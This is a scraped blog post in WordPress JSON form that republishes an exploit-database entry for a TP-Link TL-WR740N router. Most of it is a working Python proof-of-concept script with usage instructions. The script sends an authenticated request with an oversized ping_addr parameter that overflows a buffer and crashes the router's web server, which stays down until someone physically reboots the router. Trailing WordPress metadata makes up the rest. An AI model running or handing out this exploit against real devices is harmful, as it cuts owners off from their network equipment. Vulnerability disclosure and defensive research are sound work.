# Exploit Title: TP-Link TL-WR740N – Buffer Overflow ‘DOS’
\n# Date: 8\/12\/2023
\n# Exploit Author: Anish Feroz (ZEROXINN)
\n# Vendor Homepage: http:\/\/www.tp-link.com
\n# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
\n# Tested on: TP-Link TL-WR740N<\/p>\n
#Description:<\/p>\n
#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.<\/p>\n
#Usage:<\/p>\n
#python3 target username password
\n#change port, if required<\/p>\n
————————————————POC—————————————–<\/p>\n
#!\/usr\/bin\/python<\/p>\n
import requests
\nfrom requests.auth import HTTPBasicAuth
\nimport base64<\/p>\n
def send_request(ip, username, password):
\nauth_url = f”http:\/\/{ip}:8082″
\ntarget_url = f”http:\/\/{ip}:8082\/userRpm\/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20″<\/p>\n
credentials = f”{username}:{password}”
\nencoded_credentials = base64.b64encode(credentials.encode()).decode()<\/p>\n
headers = {
\n“Host”: f”{ip}:8082″,
\n“Authorization”: f”Basic {encoded_credentials}”,
\n“Upgrade-Insecure-Requests”: “1”,
\n“User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/95.0.4638.69 Safari\/537.36”,
\n“Accept”: “text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9”,
\n“Referer”: f”http:\/\/{ip}:8082\/userRpm\/DiagnosticRpm.htm”,
\n“Accept-Encoding”: “gzip, deflate”,
\n“Accept-Language”: “en-US,en;q=0.9”,
\n“Connection”: “close”
\n}<\/p>\n
session = requests.Session()<\/p>\n
response = session.get(target_url, headers=headers)<\/p>\n
if response.status_code == 200:
\nprint(“Server Crashed”)
\nprint(response.text)
\nelse:
\nprint(f”Script Completed with status code {response.status_code}”)<\/p>\n
ip_address = input(“Enter IP address of the host: “)
\nusername = input(“Enter username: “)
\npassword = input(“Enter password: “)<\/p>\n
send_request(ip_address, username, password)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: TP-Link TL-WR740N – Buffer Overflow ‘DOS’ # Date: 8\/12\/2023 # Exploit Author: Anish Feroz (ZEROXINN) # Vendor Homepage: http:\/\/www.tp-link.com # Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n # Tested on: TP-Link TL-WR740N #Description: #There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55295","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55295"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55295\/revisions"}],"predecessor-version":[{"id":55298,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55295\/revisions\/55298"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}